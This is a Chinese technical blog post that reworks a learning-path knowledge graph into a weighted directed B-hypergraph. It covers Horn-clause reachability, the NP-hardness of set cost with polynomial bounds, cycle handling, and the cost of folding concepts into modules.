任何的要学习的知识都是一个“概念”，我要学数学，数学是个概念，线性代数是一个概念，行列式又是一个概念，同一层级的概念可以相互推演，概念又可以被拆分为更小的概念，可以组合成更大的概念。似乎所有要学习的内容都是一个概念。抱着这样的想法我开始尝试把之前的概念画成不区分教程、章节等层级的，可以嵌套的思维导图，一切都只是概念。

在草稿纸上画了半天，我发现这些逻辑用自然语言或是图形语言是根本描述不清楚的：它容易漏掉一些情况，会在一定程度上导致模糊的行为。我指的“漏掉情况”，并不只是漏掉边界条件这么简单，而是指那些会直接影响整个模型是否可以稳定写成代码，找到路径的算法是否可实现的关键情况。我不希望在付出代码实现成本之后，回头才发现这些问题。

所以为了必须做到这种精度的建模需求，我选择引入数学工具来描述数据模型，这就是我为什么需要用数学。数学从来都不是被用来伪装思路正确的东西，数学是一个帮助人把问题抽象化的工具，帮人把问题真正理清楚。

上一版 AND / OR DAG 的模型问题

上一篇《万物皆概念：如何最大化学习速度？》中，我已经正在着手做一个“万物皆概念”版本的知识图谱数学模型。

我先大概简述一下上一篇所建立的模型经历的过程：我把概念视为点，相邻概念之间的推导视作有向边，把无环作为模型的公理，尝试构建一个概念的 DAG 图（有向无环图）。当时引入无环公理是为了避免教程里出现循环论证，真的有环的话，打算让用户另外起一个 Wiki 图，因为当时认为应当不属于同一份教程。在此基础上，定义如何把某一概念拆分成更细的 DAG 图，定义如何封装 DAG 子图为更大概念。通过给边加权，权用来代表学习成本，进而实现动态规划最优路线。

然后我发现，推导并不是简单的一个概念指向另一个概念，推导可能是由众多概念推出来下一个概念。因此我把每一个概念的入边进行了分组，属于同一个推导流程的分为一个 AND 组，同一个概念的入边 AND 组之间的关系是 OR。

然后我发现我漏掉了一件事，每个概念的推导过程等属性还被我落在边上，而不是 AND 组上。于是在上篇文章结尾，我在 2026.8.19 补了一处修正：问题引入、推导解答和理解材料，不属于单条边，而属于整个 AND 组。

当时以为是一个小修正，写完发现实际上这引导出了 AND / OR DAG 这个模型体系的一些固有问题。AND / OR 似乎是一个描述太过复杂的对象，不便推演。同时，我使用了太多教学和学习领域专有的内容作为名词，并没有把它当成一个真正的数学模型，这会导致并不能专注于模型本身。

但这次数学建模的尝试真真确确已经带来了相当多的好处，也让我坚定了数学建模这条路。建立模型之后，通过套用前人的数学结论，往往可以得到一些之前从来没考虑到的优秀性质，可以立刻察觉到之前从来没考虑到的逻辑疏漏，可以帮我提前排出一些技术实现的风险。

当我愿意把模型当作纯数学对象进行处理时，也才能意识到这样的数学对象事实上不止可以适用于规划学习路线，事实上可以用于规划任何路线，典型的例子就是硬件仿真路线的优化。这在透过现象看本质之前，是不可能实现的。一旦把具体对象抽象成它背后的关系结构，原本只存在于一个领域中的规律，才有可能被迁移到另一个领域。

借助这些探索，我也从数学推演中反应过来一些之前从没考虑到的问题：

知识并不是以 DAG 的形式存在的，有些知识恰恰就是可以以环的形式存在，相互推演得到的。例如通过欧拉公式，我们可以从指数函数得到正弦函数，也可以从正弦函数得到指数函数。我想避免的只是同义反复，例如线性和叠加原理。如果一个教程里说，线性就是满足叠加原理，叠加原理是线性系统的性质，那等于是什么都没说，相当于引入了一条公理而不是定理。
概念不是可以随意拆分的，也不是可以随意封装的。它远远不只是把其中一段 DAG 在纸上画一个圈标出来这么简单。这导致之前想象的概念的拆分和封装的预估难度骤然变大。但也不是说不可实现，因为概念的封装和拆分显然是现实中存在，并且高度有价值的。

我反思。当时试图把它做成一个 DAG，引入无环这一模型中的公理，是为了避免教程中出现循环论证。可是我的初衷却是对知识进行建模。教程只会是知识的一个子图，我却让教程的性质变成了知识的公理。我只需要教程是无环的即可，不需要让知识也是无环的。我又一次被做教程的思维限制住了思路。

之后我尝试重构了这个模型。上一版模型最严重的几个问题反而不是上篇文章末尾的几个问题了，实际上最大的问题总结如下：

没有专注于数学本身。
为了弥补多条件的知识推导而引入了 AND / OR ，不论从代码实现还是数学论证时的观感上都像是补丁的东西，又把推导成本，这个权重给粘在了 AND 组上面。
把知识图谱限制为无环，限制了表达的上限，不同教程无法在同一张知识图谱存在，违背时刻计算新学习路线的初衷。

因此，如何改进这个模型也是明确的：

专注于数学对象本身。
把 AND 组单独作为对象，而放弃边。
验证，如果不限制无环，模型是否还能成立。

加权有向 B-超图

上面三条改进目标，最后收敛成了一个数学对象：加权有向 B-超图。

它的全部内容是：一堆点，和一堆「多个前提共同推出一个结论」的带权连接。没有概念，没有教程，没有 AND 组，没有 OR 组，也不要求无环。

定义就这么点，但立完之后能推出来的东西超出我的预期。为了避免读者在后面七节里迷路，先把结论摆出来：

AND 组和 OR 组可以被完全消掉。 不是绕过去，是能构造双射证明它们不携带任何独立信息。
权只能挂在超边上，边级权在数学上无解。 这是上一篇结尾那处修正的完整版本。
无环公理可以删掉，而且删掉后模型比原来更宽松。 欧拉公式那种好环得以保留，线性与叠加原理那种同义反复自动失效。
可达性判定是线性时间的。 因为它和 Horn 子句的最小模型是同一件事。
我真正想要的那个成本口径是 NP-hard 的，而且不可近似。 这是整个模型里最坏的消息。
但它被夹在两个多项式可算的界之间，而且上界自带一条真实可走的路径。 于是任何时刻都有可推荐的路线，外加一个「最多差多少」的证明上界。实测还要好：随机图上区间有 97~99% 直接闭合，连搜索都不用启动。
区间宽度本身又是一个知识图质量的诊断指标。 代价是它同时也是难度指标：图越接近我们想要的样子，就越靠近难解那一端。
「理解倍率」不能定义为路线计数。 那是计数困难问题，上一篇里的那个设想可以判死刑了。
概念封装只在两个严格条件下保真，而上一版凭直觉立的「禁止递归交集」，恰好就是其中之一。

下面七节先把这个对象定义清楚，再逐条给出上面这些结论的证明或反例，并说明它们解决了上一版的哪些问题、又留下了哪些新问题。

下面每一条结论我都要求自己要么给出证明、要么给出反例，能写成代码对拍的一律对拍。全部代码在 derivon-research/paper，无第三方依赖。根目录的 derivon_core.py 是参考实现（线性时间闭包、两个多项式界、集合成本的分支定界），verification/ 下是各条结论的机器验证。后文每处实测数据都会链到对应的那段代码。

阅读前的数学补充

这一节是给数学基础不好的读者准备的。全文真正用到的工具只有四类：集合、函数、逻辑连接词、求最小值。另有三个稍专门的概念：最小不动点、超图、计算复杂度。熟悉的读者可以直接跳到下一节。

符号速查。

符号	读作	意思
$p \in P$	$p$ 属于 $P$	$p$ 是集合 $P$ 里的一个元素
$T \subseteq P$	$T$ 包含于 $P$	$T$ 的每个元素都在 $P$ 里
$U \cup V$ / $U \cap V$	并 / 交	合起来 / 公共部分
$\varnothing$	空集	没有任何元素的集合
$\lvert U \rvert$	$U$ 的势	集合里元素的个数
$2^{P}$	$P$ 的幂集	$P$ 的所有子集组成的集合；若 $\lvert P \rvert = n$ 则共 $2^{n}$ 个
$f : U \to V$	$f$ 从 $U$ 映到 $V$	一个函数，输入取自 $U$，输出落在 $V$
$\wedge$ / $\vee$	且 / 或	逻辑连接词
$\Rightarrow$ / $\iff$	推出 / 当且仅当	单向蕴含 / 双向等价
$C^{*}$	$C$ 星	上标星号表示「最优值」
$O(n)$	大 O	耗时随规模增长的量级

集合语言。 三个集合贯穿全文：$P$ 是全体点，$S$ 是学习者已经掌握的点，$K$ 是推导过程中的当前状态。学习的过程就是 $K$ 从 $S$ 开始不断变大。「$T$ 里所有点都已掌握」这句话，写成集合语言就是 $T \subseteq K$——不需要逐个检查，一个符号就说完了。

双射。 要证明「换一种写法没有丢信息」，标准做法是构造一个来回都能走通、且走一圈回到原处的对应，叫双射。能构造出来，就说明两种写法携带完全相同的信息，删掉一边不损失任何东西。后面「AND / OR 组可以被完全消掉」就是这么证的。

两种范式。 同一个逻辑条件有两种标准写法。合取范式是「若干个『或』用『且』连起来」，例如 $(I_1 \vee I_2) \wedge (I_3 \vee I_4)$；析取范式是把它展开成「若干个『且』用『或』连起来」，即 $(I_1 \wedge I_3) \vee (I_1 \wedge I_4) \vee (I_2 \wedge I_3) \vee (I_2 \wedge I_4)$。两者逻辑等价，但长度可以差很多：左边 4 个条件，右边 4 项；若有 $k$ 组这样的「或」，左边是 $2k$ 个条件，右边却有 $2^{k}$ 项。这个爆炸后面会在概念封装那里原样出现。

最小不动点。 「不动点」指对某个操作而言输入等于输出的东西。本文的操作是「扫一遍所有连接，把前提已经齐了的那些的结论加进来」。算法上就是最朴素的做法：从 $S$ 出发反复扫描，直到某一轮没有任何新东西可加。因为点的总数有限、集合只增不减，这个过程一定会停——这就是「一定存在且唯一」的工科版理由，Knaster–Tarski 定理¹只是把它严格化。

图与超图。 有向图是点加带箭头的边。路径是一串首尾相接的点，走成一条线，既不分叉也不汇合。超边把「一条边只能一个起点」的限制放开：$(\lbrace A,B \rbrace, D)$ 表示 $A$ 和 $B$ 都有了才能得到 $D$，画出来是两条线汇进一个箭头。B-超图指每条超边只有一个终点，「尾」指前提集合，「头」指结论。

复杂度。 $O(n)$ 表示耗时大致随规模线性增长。NP-hard 的实践含义是：不要指望写出一个在所有输入上都快的精确算法。归约记作 $\Pi_1 \le_{p} \Pi_2$，含义是「如果我能快速解 $\Pi_2$，就能拿它快速解 $\Pi_1$」，所以 $\Pi_2$ 不会比 $\Pi_1$ 容易。不可近似比 NP-hard 更强一层：不但精确解算不出来，连「保证结果不超过最优解若干倍」的打折算法也不存在。

分层与核心对象

上一版最大的毛病是「没有专注于数学本身」。要治它，得先有一条硬判据，否则「学习」相关的词还会不断渗回来。

我定的判据只有一条：一个字段只有在被核心算法读取时，才能进入核心层。 核心算法只有三个——可达性判定、最低成本求解、可执行序生成。按这条筛，上一版的 definition、question、answer、materials 全部出局，它们从不被这三个算法读取；权留下，因为求解器读它。

于是分成三层，下层不知道上层的存在：

flowchart TB
APP["应用层：学习路线规划 · 硬件仿真迭代 · Agent 任务规划"]
MOD["模块层：概念的封装与展开（可选，可以整体不要）"]
CORE["核心层：点 · 超边 · 图 · 成本"]
APP -->|依赖| MOD
MOD -->|依赖| CORE
APP -.->|"标定权重"| CORE

核心层一共七个名字，其中只有前三个需要持久化：

名称	记号	含义
Point	$p \in P$	基本对象。核心层不假设它有内部结构，也不承诺它代表什么
Hyperedge	$h = (T, y, w)$	一个推导步骤。$T \subseteq P$ 是尾（前提集），$y \in P$ 是头（结论），$w \ge 0$ 是完成这一步的成本
Graph	$G = (P, H)$	加权有向 B-超图
State	$K \subseteq P$	当前已获得的点集
Derivation	$R \subseteq H$	见证目标可从起点得出的一整组超边
Query	$(S, t)$	起点集与目标点
Cost	$C(R)$	Derivation 的成本

这里有个容易混的地方要先说清：Hyperedge 是一个步骤，Derivation 是一整组步骤。 相应地 $\lvert T(h) \rvert$ 说的是「某一步需要几个前提」，$\lvert R \rvert$ 说的是「这次推导一共有几步」。另外，$T$ 取自 tail（尾），不是 target；目标一律用小写 $t$。

一步推导的规则简单到有点无聊：

$$h = (T, y, w) \ \text{可执行于} \ K_i \iff T \subseteq K_i, \qquad K_{i+1} = K_i \cup \lbrace y \rbrace$$

尾集为空是合法的。$T = \varnothing$ 时 $T \subseteq K_i$ 恒成立，所以 $(\varnothing, y, w)$ 在任何状态下都可执行，语义上是「无条件起点」：不问学习者已经会什么，付出 $w$ 就直接获得 $y$。这和「点落在 $S$ 里」不是一回事——$S$ 描述的是学习者（因人而异，不计成本），空尾超边描述的是图本身（对所有人一样，要付成本）。一张没有任何空尾超边的知识图，零基础学习者什么都学不了，因为没有任何一步能起步。

走一遍就清楚了。设起点 $S = \lbrace A \rbrace$，目标 $Z$：

1
2
3
4
5
6


K₀ = {A}
 ({A}, B, 3) 可执行，因为 {A} ⊆ K₀ → K₁ = {A, B}
 ({B}, D, 1) 可执行 → K₂ = {A, B, D}
 ({B}, E, 1) 可执行 → K₃ = {A, B, D, E}
 ({D,E}, Z, 1) 可执行，因为 {D,E} ⊆ K₃ → K₄ = {A, B, D, E, Z}
 没有新的可执行超边，停止

$K$ 的全部作用就是回答「现在够不够」。最后那一步 $\lbrace D,E \rbrace \to Z$ 需要两个前提，两个都有才能走——这就是上一版要靠 AND 组才能表达的东西，现在只是尾集大小的问题。

四条化简

有了上面的定义，上一版那些让我别扭的东西可以一条条被证明为多余。

一、AND 组和 OR 组都不需要存在。

上一版里，同一概念的入边被分组，组内是 AND、组间是 OR，还得维护「一条边可以属于多套方案」这种多对多关系。整套结构在超边表示下是空的。

$\lvert T(h) \rvert > 1$ 就是 AND，尾集本身就是合取；两条头相同的超边并存就是 OR，它们彼此独立，不需要任何分组结构管理。严格地说，上一版的方案集合 $\mathcal{P}(v)$ 与「头为 $v$ 的超边集合」之间存在双射：一条边由 $(\text{source}, \text{target})$ 唯一标识，所以方案 $P$ 与其源点集一一对应，取 $\Phi(P) = (\lbrace \text{source}(e) : e \in P \rbrace,\ v)$，逆映射把超边展开回逐条边，两者互逆。既然是双射，删掉一边不损失任何信息。

顺带地，上一版那个「投影边」对象也一起没了——它只是超边在有向图上的展开视图，随时可以重算。

二、权只能定义在超边上，边级权在数学上无解。

这条正是上一篇结尾那处修正的完整版本。我当时的直觉是权不可能挂在边上，但说不出为什么。反例比我想的干脆：

$$(\lbrace A,B \rbrace, D, 1), \qquad (\lbrace A \rbrace, D, 5), \qquad (\lbrace B \rbrace, D, 5)$$

它描述的情形很常见——$A$ 和 $B$ 各自单用都很贵，合起来却有极强的组合效应。若权可以拆到边上，则必须同时满足

$$w_e(A \to D) + w_e(B \to D) = 1, \qquad w_e(A \to D) = 5, \qquad w_e(B \to D) = 5$$

也就是 $10 = 1$。这个方程组的最小二乘残差是 $5.196 > 0$，确认无解（test_no_edge_weights）。

更根本的是，即使不存在竞争方案，把一个整体成本拆成各前提的份额也没有典范选择——任何和等于总数的拆分都同样合法；而一条被两套方案共享的边会被迫同时取两个值。结论是权和载荷同源：二者都是定义在整个推导步骤上的函数。既然同源，「方案」和「边」就没有理由并存为两个对象。

三、无环公理可以直接删掉。

这正是我前面反思的那条：我只需要教程无环，不需要让知识无环。数学上给出的答案比我预期的更干脆——这条公理根本不必存在。

闭包是最小不动点，由 Knaster–Tarski 定理¹保证存在且唯一，与图里有没有环无关。而循环支撑的点永远不会进入闭包：假设 $A$ 要靠 $B$ 推出、$B$ 又要靠 $A$ 推出，且两者都没有别的来源，那么第一轮扫描时 $A$ 的前提 $B$ 不在集合里，$B$ 的前提 $A$ 也不在，两条超边都不触发；此后集合再没变过，所以永远不会触发。没有源头的循环不会自己启动。同一张图上换个有根的起点，那两个点就都推得出来了（test_cycle_safety）。

四、载荷退化为不透明字段。

definition、question、answer、materials 都不被三个核心算法读取，统一为一个核心层不解释的字段。核心层唯一需要的是：成本 $w$ 是这些载荷的某个函数——这个函数由应用层实现和标定，核心层只接收结果。

四条合起来，对象数量的变化是：

维度	上一版	现在
持久化对象类型	Concept / DerivationPlan / Derivation，另有 AND / OR 分组	Point / Hyperedge
AND / OR	需要专门的分组结构	尾集大小与同头并存，不是对象
模型公理	无环、禁止递归交集	无（下面会说交集约束去哪了）
权的载体	AND 组	超边（同一对象）
顺序机制	DAG 拓扑序	可执行序，不依赖无环

可达性：好环、坏环与静默失败

把超边 $(T, y, w)$ 读作「$\bigwedge_{p \in T} p \Rightarrow y$」，起点集读作事实集，那么闭包恰好就是这个 Horn 程序的唯一最小模型。这不是类比，是同一件事——由此直接继承一个强结论：可达性判定可在线性时间内完成²，具体是 $O(\sum_h (\lvert T(h) \rvert + 1))$。为每条超边维护一个「未满足前提计数」，某点首次入队时把以它为前提的超边计数减一，减到零即触发。

这条对应关系也解释了经典 AND/OR 图理论³为什么天然适用：AND/OR 图、Horn 子句、有向超图、上下文无关文法的推导，在文献里本来就是同一结构的四种写法⁴。这一版只是选了其中最紧凑的一种当实现基底。

顺序机制也随之换掉了。上一版用 DAG 的拓扑序给出「合法讲述顺序」，而拓扑序只在无环图上存在。现在改用可执行序：$R$ 的一个排列，使得每一步在它之前那些步骤的结果之上都可执行。闭包的分轮扫描顺手就产出一个，所以任何 Derivation 至少有一个可执行序，且不需要全图无环。

现在回到我前面说的那个反思：知识里有些环是合理的。数学给出的答案比「允许环」更精确——它区分了两种环。

flowchart TB
subgraph GOOD["好环：两条边都是正当推导，互为 OR 路线"]
direction LR
T(["泰勒级数（入口）"]) --> E["e^ix"]
G(["几何三角（入口）"]) --> SC["sin/cos"]
E -->|"欧拉公式：取实部虚部"| SC
SC -->|"欧拉公式：反方向"| E
end
subgraph BAD["坏环：互相定义，整组没有任何外部入口"]
direction LR
L["线性"] -->|"就是满足叠加"| SP["叠加原理"]
SP -->|"是线性的性质"| L
end

带泰勒级数进来的学习者能到 $\sin/\cos$，带几何三角进来的能到 $e^{ix}$，两条路都通，环的存在对谁都没有造成任何阻碍。而「线性 $\rightleftarrows$ 叠加原理」这种同义反复，无论学习者已经掌握了什么，两个点永远推不出来。

所以准确的说法是：这一版拒绝的不是环，而是没有外部入口的环，并且把判断推迟到有具体查询的时候。 上一版的无环公理是全图的结构禁令，会把上面那张图整张拒收，逼作者从 $e^{ix}$ 与 $\sin/\cos$ 之间删掉一条——而删哪条都是在丢弃一条真实的教学路线。

新问题也随之出现：环从语法错误降级成了静默失败。 上一版里作者画出一个环会立刻被拒绝，现在它只表现为「目标不可达」，原因不再显然。所以核心层必须补一个诊断接口，把「声称能推出、但那条推导是循环的」点找出来。

这个诊断比看上去难写。我第一版判据是「假设除它自己以外一切已知，看还能不能推出它」，看着合理，实际上既误报了正常入口，又漏掉了真正的坏环——因为循环里的两个点会互相顶上，把检查骗过去。正确判据是从入度为零的点（图的天然入口）出发算闭包，落在外面的才是悬空点。上面两种环的完整算例、以及错误判据作为反例，都在 cycle_demo.py 里带断言保留着。

成本：一个坏消息和一对界

这一节是整个模型里唯一一处必须做有代价取舍的地方。在给出任何口径之前，先把两条公理摆出来，它们不是推出来的而是被假定的：

可加性：一条推导的总成本，由各步成本按某种固定规则聚合而成。
非负性：$w \ge 0$。

两条都不是事实。真实认知成本会被疲劳、干扰、遗忘破坏可加性；而「先学 $A$ 让后学 $B$ 变便宜」这类正迁移本应是负成本，非负性却禁止它——只能改用「新增一条以 $A$ 为前提、权更低的替代超边」来间接表达。

我上一篇里写过一句当时觉得理所当然的话：共享的前置推导在同一子图中只计算一次。 这句话是整个模型的核心主张，前面「少学反而更慢」那一节里 $X$ 作为多个后续节点的共同前置，正是靠这条才成立。如果复用要重复付费，高压缩率路线这个概念本身就不成立了。

问题是，这个口径算不出来。看一个具体例子，学习者要学会 $Z$：

1
2
3
4


从 A 学到 B 成本 3 ← B 是 D 和 E 共同的前置
从 B 学到 D 成本 1
从 B 学到 E 成本 1
D 和 E 一起得到 Z 成本 1

三种算法给出三个不同的数：

口径	怎么算	结果	对应现实
集合成本	用到的四步各算一次：$3+1+1+1$	6	$B$ 只学一遍。这是真实的学习成本
展开成本	摊成一棵树，$D$ 和 $E$ 往回走都要经过 $B$：$(3+1)+(3+1)+1$	9	假装 $B$ 学了两遍，高估
深度成本	最长的一条链 $A \to B \to D \to Z$：$3+1+1$	5	可并行推进时的最短完成时间，低估

我想要的是 6，但能高效算出来的是 9 和 5。

原因在于局部性。展开成本和深度成本都能写成一条「只看直接前提」的递推式：

$$d(y) = \min_h \Big[, w(h) + \sum_{p \in T(h)} d(p) ,\Big], \qquad d(y) = \min_h \Big[, w(h) + \max_{p \in T(h)} d(p) ,\Big]$$

要算 $Z$ 的成本，只需知道 $D$ 和 $E$ 各自的成本，再加最后一步。这种局部性让 Dijkstra 式的贪心成立——正是 Knuth 在 1977 年推广 Dijkstra 算法时刻画的上位函数条件⁵：聚合结果对每个自变量单调不减，且不小于任何一个自变量。

集合成本没有这个性质。$D$ 那一支到底要不要为 $B$ 付钱，取决于 $E$ 那一支是不是已经买过了。成本不再是各分支成本的函数，而依赖于全局已经选了哪些边，贪心就此失效。

而且不只是「暂时没想到好算法」，它是 NP-hard 的。由集合覆盖归约：起点 $z$、目标 $t$，每个子集 $V_j$ 对应一个点 $x_j$ 与超边 $(\lbrace z \rbrace, x_j, 1)$（选用这个子集要花 1），元素 $q_i \in V_j$ 时有 $(\lbrace x_j \rbrace, q_i, 0)$（免费得到它覆盖的元素），最后一条 $(\lbrace q_1,\dots,q_n \rbrace, t, 0)$（凑齐全部元素才能到 $t$）。要到达 $t$ 就必须得到全部 $q_i$，因而所选 $x_j$ 必须覆盖全集，总成本恰好等于所选子集的个数——于是「用最低成本到达 $t$」和「用最少的子集盖住全集」是同一个问题。而集合覆盖不但 NP-hard，还不可在 $(1-o(1))\ln n$ 因子内近似⁶，连打折的算法都不存在。这个归约我在 60 组随机实例上对拍过暴力集合覆盖，结果精确相等（test_reduction）。

文献里其实早有这个现象的一般描述：超路径的求解代价随所选度量，可以从线性时间一直变化到 NP-hard⁷。我只是撞上了这个谱坏的一端。

难受完之后我发现，这三个数之间有关系。设权非负，则

$$d_{\text{depth}}(S,t) \ \le\ C^{*}{\text{set}}(S,t) \ \le\ d{\text{tree}}(S,t)$$

右边：取展开成本最优解所用的超边多重集，它去重后的支撑集是一个合法解，而把重复计的账改成只计一次，总数只会变小或不变。左边：非负权下，最优解上的最长链至多用到互不相同的超边，所以链长不超过全部权之和。当所有超边都只有一个前提时，推导退化成一条链，三者重合于经典最短路径。这对不等式我在 1753 组随机可达查询上用穷举法逐一对拍过，其中 67 组出现严格不等，说明这对界不是平凡重合（test_bracket）。

两头都是多项式可算的，于是求解策略就有了：先算两个端点，若相等则中间那个 NP-hard 的量被夹死，直接返回、根本不用搜索；不相等才启动搜索，用展开成本的解当初始上界、深度成本当可采纳启发；超预算就返回区间并标记未收敛，绝不用展开成本冒充精确值。这套策略实现在 min_set_cost 里，并用穷举当预言机对拍过 1325 组随机查询，结果完全一致（verify_core.py）——分支定界快但复杂，穷举慢但不容易写错，两者对拍是唯一能防止「快但错」的东西。

这里有一点值得单独强调：展开成本不只是个数字，它对应一条真实可走的推导。 所以这不是「算不出最优就没边」，而是一个货真价实的 anytime 算法：任何时刻都有一条可推荐路径，外加一个经过证明的「最多差多少」。对一个实际产品来说，这已经够用了——学习者需要的是一条好路线，不是一个最优性证明。

还有一个我没预料到的副产品：区间宽度 $d_{\text{tree}} - d_{\text{depth}}$ 本身就是一个可观测量，它度量的正是当前知识图里共享结构的强度。如果这个宽度恒等于零，说明图退化成了一堆互不复用的线性教程——这恰好就是前面「少学反而更慢」那一节所批判的教纲形态。一个知识图质量的诊断指标，从一个纯粹的算法困难里掉了出来。

那么这个区间到底有多紧？夹逼定理只保证区间存在，没说它有多宽。而宽度直接决定了上面那套策略到底值不值钱，所以我又写了一个脚本实测（bracket_practice.py）。

第一组：随机超图。 每组几百次可达查询，统计有多少比例需要真的启动搜索：

尾集上限	样本	需搜索占比	平均宽度	上界高估倍数
1	678	0%	0.00	1.00x
2	565	2%	0.09	1.39x
3	467	3%	0.10	1.34x
4	401	1%	0.06	1.33x

也就是说，97~99% 的查询里廉价上界恰好就是精确解，那个 NP-hard 的量被直接夹死，根本不需要搜索。尾集上限为 1 时宽度恒为零，因为没有汇合就没有共享。

但这组数据不能直接拿来乐观，因为随机图恰恰不具备我们关心的结构。随机采样很少产生「一个点同时是多个分支的前置、而那些分支稍后又汇合」这种形态。

第二组：刻意构造的枢纽结构。 一个高压缩率中间概念 $X$ 被 $k$ 个分支复用，目标需要全部分支——正是前面「少学反而更慢」那一节鼓励的那种形态：

分支数 $k$	枢纽成本	$d_{\text{depth}}$	$C^{*}_{\text{set}}$	$d_{\text{tree}}$	宽度	上界高估
2	2	4	5	7	3	1.40x
3	8	10	12	28	18	2.33x
5	2	4	8	16	12	2.00x
5	8	10	14	46	36	3.29x

规律很清楚：分支越多、枢纽越贵，廉价上界越离谱。 而这两个量恰恰就是「这个中间概念抽象得越好」的表现。

于是得到一个反直觉的结论：区间宽度同时是「图质量指标」和「问题难度指标」，两者是同一个量。 图越接近我们想要的样子——高复用、多条 OR 路线——它就越靠近难解那一端。

所以「等规模大了再说」这个安慰实际上是「等图还足够松散、树状」，而产品做成功恰好把图推向反方向。这不是现在要担心的事，但值得记一笔：别指望「图小就没事」，该指望的是「分支定界在这类枢纽结构上跑得动」——后者是可以实测的，不是猜的。

表达力的边界

定义立好之后，可以反过来问：这个对象能表达什么，不能表达什么。

单头够不够。 B-超图规定每条超边只有一个头。若想表达「$T$ 共同推出 $y_1 \dots y_k$，总成本 $w$」，可以引入中间点 $p^{\star}$，写成 $(T, p^{\star}, w)$ 加上若干条零权的 $(\lbrace p^{\star} \rbrace, y_i, 0)$。这个编码在可达性和集合成本下保真，但在展开成本下不保真——后者会把 $p^{\star}$ 按头的个数重复计费（实测：集合成本 4，展开成本 8，见 test_multihead）。所以核心层维持单头，代价是多头场景下上界会变松。

半环推广。 把 $(\min, +)$ 换成别的半环，同一套结构立刻覆盖更多问题⁸：布尔半环给出纯可达性，计数半环给出推导条数。但广义 Dijkstra 只对上位函数成立，其他情形要退回不动点迭代。这一步我没走——首版把权类型参数化但只实现 $(\min, +)$ 就够了，过早抽象没有收益。

计数是硬的。 上一篇我提过一个「理解倍率」的设想：每完成一条不同的有效路线就增加 100% 的理解度。现在可以判它死刑了——统计极小推导的个数，稍作修改就能归约到统计最小集合覆盖的个数，属计数困难问题，而且极小推导的数量本身可以随图规模指数增长。理解倍率不能定义为路线计数，只能换成可控的替代量，并明确标注为工程近似。

模块层：封装的真实代价

最后是我前面反思里的第二条：概念不是可以随意拆分和封装的。这一节给出它到底难在哪。

先说一个结构上的好消息：封装整体被移出了核心层。 核心层的三个算法都不读取包含关系，而折叠本质上是核心图上的商结构，可以独立取舍。移出之后有个直接收益——核心层不再背负「禁止递归交集」这条公理，因为核心层根本没有包含关系。

折叠的定义是：把模块内部的一堆点整个捏成一个点，对外只留下一张价目表——从哪几组入口进来、各要花多少钱。这里超图表示自动吃掉了上一版的一项条件：入口的 AND/OR 组合语义不需要专门保留，因为边界本来就是一组超边。

代价是那个爆炸原样出现了：边界超边的条数等于边界公式的析取范式项数。 取 $\bigwedge_{i=1}^{k}(I_{i,1} \vee I_{i,2})$，合取式仅 $2k$ 个文字，析取范式却有 $2^{k}$ 项——$k = 12$ 时需要 4096 条边界超边。这不是实现瑕疵，而是超图只能表达析取范式这一事实的固有代价。所以折叠必须设硬预算，超限就拒绝折叠、让子图保持展开。

更有意思的是，上一版里我凭直觉立的「禁止递归交集」公理，现在有了确切身份。我做了三组实测：

情形	实测	结论
单出口成立，模块内部超边不被外部复用	精确 7，折叠后 7	保真
外部直接消费模块内部点	精确 5；丢弃该外部边则目标不可达，改指向根则得 7	可推导性丢失，单出口是必要条件
两个模块共用内部超边	精确 12，折叠后 22	共享前置被重复计费，禁止交集是必要条件

三组的完整算例见 test_folding，析取范式规模的增长见 test_dnf_blowup。

也就是说，「禁止递归交集」不是一条随意的工程公理，而是折叠在集合成本下保真的必要条件。 同时它的适用范围被大幅收窄了：它只约束模块层的折叠操作，不约束核心图。 核心层的点可以任意共享前提、被任意多处引用，因为核心层压根不做折叠。上一版把它写成全局公理，是分层不清导致的过度约束。

图论里有个严格但很强的参考条件叫模块分解⁹：一个节点集合要能被商图节点无损替代，每个外部节点必须要么连接它的全部节点、要么一个也不连。我希望能封装的任意子图通常不满足这个条件，所以不能声称折叠在图论意义上天然无损。结论是保守的：先只提供折叠的校验器（判定单出口、无部分交集、析取范式规模），把折叠本身留到核心求解器稳定之后。

七节走完，回头对账。上一版三个最严重的问题都有了着落：没有专注数学本身，靠核心层准入判据解决；AND / OR 像补丁，被双射证明为可完全消除；无环限制表达上限，被最小不动点语义证明为多余，而且新语义比原来更宽松——好环得以保留，坏环自动失效。

但账不是白结的。新问题一并列出来：语义正确的成本口径 NP-hard 且不可近似，只能靠一对上下界夹逼；环从语法错误降级为静默失败，必须补诊断层，而诊断判据本身容易写错；理解倍率不能定义为路线计数；封装的边界公式可能指数爆炸；尾头相同但载荷不同的超边会被静默合并，超边必须带稳定身份；以及上一节那条反直觉的——图越接近想要的样子，就越靠近难解那一端。

至于上一篇里我当成头号未决问题的那个——权到底用什么可观测量来度量——现在回头看，我当时把它放错了层。

按前面立的准入判据，核心层只接收 $w$、不产生它，那么「$w$ 怎么算出来」按定义就在应用层。我却把它写成「模型的头号未决问题」，等于一边说它不属于模型、一边又说它是模型最大的洞。模型本身是完整的，它不需要关心 $w$ 从哪来。

应用层可选的方法很多：测实际有效学习时长；让 AI 按统一 Scale 打分；最朴素的直接数推导所需解释的文本长度。它们都能产出数字，落到实现层选一个即可。

真正剩下的不是「用什么可观测量」，而是「怎么让这些数加起来仍然有意义」——模型要对它们求和、并跨路线比较总和，这要求它们落在同一个可加的标度上。学习时长会被疲劳、动机、中断污染，而且你只观测得到走过的那条路，看不到反事实；AI 打分的分数通常非线性，「7 分」不是「1 分」的七倍；文本长度天然可加、但只是代理量，而且恰好撞上了上一篇警告过的陷阱：画一条没有论证的直线，文本很短、权很低，实际上根本没有推导。

但这件事自带反馈闭环：预测成本和实际结果可以对账，所以 $w$ 是可以被学出来、校准出来的。这是个机器学习问题，不是数学缺口。 冷启动用文本长度或 AI 打分当先验就够。

所以它应该被降级为：应用层的标定问题，有明确的解决路径。模型那一层现在是闭合的。

A. Tarski. A lattice-theoretical fixpoint theorem and its applications. Pacific Journal of Mathematics, 5(2):285–309, 1955. 保证单调算子在完全格上的最小不动点存在且唯一，是闭包良定义、且循环支撑自动失效的依据。 ↩︎ ↩︎
W. F. Dowling and J. H. Gallier. Linear-time algorithms for testing the satisfiability of propositional Horn formulae. Journal of Logic Programming, 1(3):267–284, 1984. 给出 Horn 公式可满足性的线性时间算法，本文的可达性判定即其计数式前向链接实现。 ↩︎
A. Martelli and U. Montanari. Additive AND/OR graphs. IJCAI 1973, pp. 1–11. 经典 AND/OR 图求解：AND 节点要求所有子问题共同解决，OR 节点从替代方案中选择，解是最低成本的解图而非路径。 ↩︎
